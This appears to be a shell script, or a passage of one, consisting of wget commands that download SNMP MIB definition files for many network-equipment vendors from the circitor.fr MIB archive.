wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WIRELESS-NOTIFICATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WIRELESS-P2MP-LINK-METRICS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WIRELESS-P2MP-PHY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WIRELESS-P2MP-RF-METRICS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WIRELESS-P2P-BPI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WIRELESS-TC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WLAN-MAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WLAN-VLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WPAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WRED-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-WWNMGR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-XDSL-LINE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-XGCP-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-XGCP-EXT-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-XGCP-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-XGCP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ZS-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCO-ZS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOME1200-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-1-BONJOUR-SERVICE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-3SW2SWTABLES-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-AAA.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-BANNER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-BONJOUR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-BRGMACSWITCH-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-BRIDGE-SECURITY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-BRIDGEMIBOBJECTS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-BaudRate-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-CDB-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-CDP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-CLI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-COPY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-CPU-COUNTERS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-DEBUGCAPABILITIES-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-DEVICEPARAMS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-DHCP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-DHCPCL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-DHCPv6-CLIENT.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-DHCPv6-RELAY.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-DHCPv6.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-DIGITALKEYMANAGE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-DNSCL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-DOT1X-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-Dlf-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-EEE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-EMBWEB-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-ENDOFMIB-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-ERRDISABLE-RECOVERY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-EVENTS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-File.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-GREEN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-GVRP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-HWENVIROMENT.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-IP.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-IPSTDACL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-IPV6FHS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-IPv6.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-IpRouter.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-JUMBOFRAMES-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-LBD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-LLDP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-LOCALIZATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-MAC-BASE-PRIO.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-MIR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-MNGINF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-MULTISESSIONTERMINAL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-PHY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-POE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-POLICY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-Physicaldescription-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-ProtectedPorts-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-QOS-CLI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-RLINVENTORYENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-RMON.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-Redistribute.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-SCT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-SECSD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-SECURITY-SUITE.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-SENSORENTMIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-SMARTPORTS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-SMON-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-SNMP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-SOCKET-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-SSH-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-SSL.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-STACK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-STORMCTRL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-SYSLOG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-SYSMNG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-SpecialBpdu-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-TBI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-TCPSESSIONS.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-TELNET-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-TIMEBASED-PORT-SHUTDOWN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-TIMESYNCHRONIZATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-TRACEROUTE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-TRAPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-TRUNK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-TUNNEL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-Tuning.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-UDLD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-UDP.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-VRRP.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-WBA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-WeightedRandomTailDrop-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-ippreflist-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-openflow-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-rlBrgMcMngr-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-rlBrgMulticast-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-rlFft.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-rlIP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-rlInterfaces.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-rlLcli-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-rndApplications.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-rndMng.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-vlan-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSB-vlanVoice-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOSMB-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOTRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOWAN-SMI.mib
wget http://www.circitor.fr/Mibs/Mib/C/CISCOWORKS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CITRIX-COMMON-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CL-PKTC-EUE-DEV-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CL-PKTC-EUE-EVENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CL-PKTC-EUE-PROV-MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CL-PKTC-EUE-RST-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CL-PKTC-EUE-TC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CL-PKTC-EUE-USER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CLAB-DEF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CLAB-TOPO-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CLARENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CLARIION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CLAVISTER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CLAVISTER-SMI.mib
wget http://www.circitor.fr/Mibs/Mib/C/CLAVISTER-TRAPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CLEARTRAC7-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CLIENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CLJ8500-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CLJ8550-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CLNS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CMC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CMM3-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CMU-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CNA-TESTPLUG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CNT2-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CNT21-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CNT23-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CNT241-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CNT242-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CNT243-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CNT245-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CNT246-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CNT25-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CNT251-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CNTAU-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CNTDNSEXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CNTEXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CNTHOTEXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CNTSVCEXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CODAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CODAN-SMI.mib
wget http://www.circitor.fr/Mibs/Mib/C/CODIMA-BUILTIN-CAP.mib
wget http://www.circitor.fr/Mibs/Mib/C/CODIMA-EXPRESS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CODIMA-GLOBAL-REG.mib
wget http://www.circitor.fr/Mibs/Mib/C/COFFEE-POT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-802DOT11-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-802DOT1X-ACCESS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-AAA-CLIENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-BANDWIDTH-CONTROL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-CDP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-CLIENT-TRACKING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-CONNECTION-LIMITING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-CONTROLLER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-DEVICE-DOT1X-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-DEVICE-EVENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-DEVICE-IF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-DEVICE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-DEVICE-WDS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-DEVICE-WIRELESS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-LICENSE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-MAINTENANCE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-PRODUCTS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-PUBLIC-ACCESS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-PUBLIC-ACCESS-RETENTION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-QOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-SATELLITE-MANAGEMENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-SENSOR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-SMI.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-SYSLOG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-SYSTEM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-TC.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-TCP-SERIAL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-TOOLS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-USAGE-INFORMATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-USER-ACCOUNT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-USER-SESSION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-VIRTUAL-AP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-VSC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-WDS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COLUBRIS-WIRELESS-CLIENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COM21-HCX-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COM21-HCXALM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COM21-HCXCC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COM21-HCXETH-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COM21-HCXOC3-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COM21-HCXRX-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COM21-HCXSTU-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COM21-HCXSTUPRXY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COM21-HCXTOP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COM21-HCXTX-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COM21-HCXVLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COM21-HCXVOICE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COM21-NMAPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COMETMS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COMMON-GOLF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COMMON-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COMMON-TRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COMMUNITY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COMPANY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COMPAQ-AGENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COMPAQ-ID-REC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COMPAQ-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COMPAT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COMPELLENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COMPEX-IN3000.mib
wget http://www.circitor.fr/Mibs/Mib/C/COMPUTERM-COMMON-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COMPUTERM-TRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COMTEK-VMS-NM-SYSMGR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CONEL-GPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CONEL-INFO-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CONEL-IO-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CONEL-MBUS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CONEL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CONEL-MOBILE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CONEL-STATUS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CONEL-XCCNT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CONFIG-MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CONFIG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CONFORMANCE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CONTIVITY-ID-V1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CONTIVITY-INFO-V1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CONTIVITY-TRAP-ACKNOWLEDGMENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CONTIVITY-TRAPS-V1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CONTROL-SUNMANAGEMENTCENTER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CONV-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COPPER-MOUNTAIN-NETWORKS-DSL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COPS-CLIENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CORE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CORIOLIS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COSINE-GLOBAL-REG.mib
wget http://www.circitor.fr/Mibs/Mib/C/COSINE-InVision-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/COSINE-ORION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPE-MANAGER.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPIWF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPM-NORTEL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQ-TRAPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQAPPG80-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQAPPLIANCE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQCLUSTER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQCMC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQCR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQDCEO-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQDMII-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQDSCCS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQEXTERNAL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQFCA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQGEN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQHLTH-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQHOST-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQHOST2-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQHSV-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQHSV110V3-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQHSV200V6-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQHSV300V11-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQHSV300V9-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQHSV340V11-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQHSV360V11-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQHSV400V11-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQHSV450V11-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQICA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQIDA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQIDE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQIODRV-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQISCSI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQKVM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQLINOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQN5226A-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQN54NN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQNIC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQNODE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQNTFTP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQNUNIF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQOneView-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQPOWER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQRACK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQRECOV-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQRPM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQSANAPP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQSANEVENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQSASSWITCH-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQSCSI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQSERVICE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQSINFO-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQSM2-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQSRVMN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQSTDEQ-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQSTSYS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQSWCC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQTHRSH-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQUPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPQWCRM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CPS6000-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CRESCENDO-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CRI-SERVER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CRMCONNECTION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CRMMISC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CRMPKGCONF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CRMPORTCONF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CRMSVC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CRMTRAFFICCOLLECTION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CROSSBEAM-SYSTEMS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CROSSSTREAM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CROUTE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CSAT-5060.mib
wget http://www.circitor.fr/Mibs/Mib/C/CT-BROADCAST-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CT-CHASSIS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CT-CMMPHYS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CT-CONTAINER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CT-DARADIUS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CT-DAREGISTRY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CT-DAWAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CT-DAWANCONN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CT-DAWANDEVCONN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CT-DS0ent-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CT-ELS10-27-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CT-ELS10-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CT-ELS100-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CT-FASTPATH-ARPACL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CT-FASTPATH-DHCPSERVER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CT-FASTPATH-DHCPSNOOPING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CT-FASTPATH-DYNAMIC-ARP-INSPECTION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CT-FASTPATH-PROTECTED-PORT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CT-FLASH-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CT-FPS-SERVICES-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CT-HSIMPHYS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CT-MSGXFERSERVICE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/C/CT-PIC-MIB.mib
